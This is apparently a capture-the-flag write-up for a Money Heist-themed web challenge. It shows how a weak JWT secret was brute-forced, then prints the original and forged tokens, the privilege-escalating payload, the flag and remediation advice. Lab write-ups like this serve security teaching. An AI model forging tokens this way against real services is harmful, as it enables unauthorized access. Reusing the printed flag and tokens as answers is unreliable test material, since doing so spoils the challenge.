

Professor's Vault - CTF Challenge Solution

Challenge Information

- **Challenge Name:** Professor's Vault
 - **URL:** <http://52.205.96.89/>
 - **Challenge Type:** JWT Forgery
 - **Theme:** La Casa de Papel (Money Heist)
-

Solution Summary

Successfully bypassed JWT authentication by:

- 1 Extracting the JWT token from a test login
 - 2 Cracking the weak JWT secret key
 - 3 Forging a new JWT with elevated privileges
 - 4 Accessing the protected vault endpoint
-

Step-by-Step Solution

Step 1: Initial Reconnaissance

- Navigated to the website and discovered login/register functionality
- Logged in with test credentials (test/test) to obtain a valid JWT token

Step 2: JWT Token Extraction

Original JWT Token:

```
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6InRlc3QiLCJyb2xlijoiaG9zdGFnZSIsInNlY3JldF9wbGFuIjoiWDBZR1VBd1FQSjRjaFk5TFBjSWNnSThhUVk4emVssTkilCJpYXQiojE3Njk4MTExOTR9.wrJ0OzSVmoUu0f0MwRG4reeY7o0jzbHyv4k5yIHmftk
```

Step 3: JWT Decoding

Header:

```
{  
  "alg": "HS256",  
  "typ": "JWT"  
}
```

Payload:

```
{  
  "username": "test",  
  "role": "hostage",  
  "secret_plan": "X0YGUAwQPJ4chY9LPcIcgI8aQY8zelI9",  
  "iat": 1769811194  
}
```

Step 4: Secret Key Cracking

Performed brute force attack using a wordlist based on the La Casa de Papel theme.

Secret Key Found: dali (referencing Salvador Dalí, whose mask is iconic in the show)

Step 5: JWT Forgery

Created a forged JWT token with modified claims:

- **Username:** professor
- **Role:** Professor (capital P is critical!)
- **Secret:** dali

Forged JWT Token:

```
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzZWNyZXRfcGxhbiI6IlgwWUdVQXdRUEo  
0Y2hZOUxQY01jZ0k4YVFZOHp1bEk5IiwiawF0IjoxNzY5ODExMTk0LCJ1c2VybmFtZSI6InB  
yb2Zlc3NvciIsInJvbGUIoiJQcm9mZXNzb3IifQ.gbb0c13q1MQ58cCeJTFmdi8R1oibfgPC  
T9fO21Hu26E
```

Step 6: Vault Access

Using the forged JWT token, successfully accessed the `/vault` endpoint.

FLAG

```
SECE{M0n3y_H31st_15_0n!}
```

Key Findings

Critical Vulnerabilities

- 5 **Weak JWT Secret Key:** The secret key `dali` is only 4 bytes long and easily crackable
- 6 **Case-Sensitive Role Validation:** The backend checks for role `Professor` (capital P), not `professor`
- 7 **Username/Role Combination:** Required username `professor` with role `Professor`

Attack Vector

- **Type:** JWT Secret Key Brute Force + Token Forgery
- **Difficulty:** Medium
- **Tools Used:** Python, PyJWT library, custom wordlist

Successful Payload

```
{  
    "username": "professor",  
    "role": "Professor",  
    "secret_plan": "X0YGUAwQPJ4chY9LPcIcgI8aQY8zelI9",  
    "iat": 1769811194  
}
```

Additional Information

The vault page also contained an encrypted secret plan hint:

- **Encrypted:** X0YGU AwQPJ4chY9LPcIcgI8aQY8zelI9
 - **Hint:** "First rotation (ROT3), then encoding (Base64)"
 - **Note:** This appears to be a bonus challenge within the main challenge
-

Recommendations for Remediation

- 8 **Use Strong Secret Keys:** Implement cryptographically secure random keys (minimum 32 bytes)
 - 9 **Key Rotation:** Regularly rotate JWT signing keys
 - 10 **Add Expiration:** Implement short-lived tokens with exp claim
 - 11 **Rate Limiting:** Prevent brute force attacks on authentication endpoints
 - 12 **Additional Validation:** Implement IP-based or session-based validation
 - 13 **Use RS256:** Consider using asymmetric algorithms (RS256) instead of HS256
-

Tools and Scripts Used

- 14 jwt_decode.py - JWT token analysis
 - 15 jwt_forge.py - Token generation with various payloads
 - 16 crack_jwt_secret.py - Secret key brute force
 - 17 exhaustive_test.py - Systematic testing of username/role combinations
-

Challenge Completed Successfully! 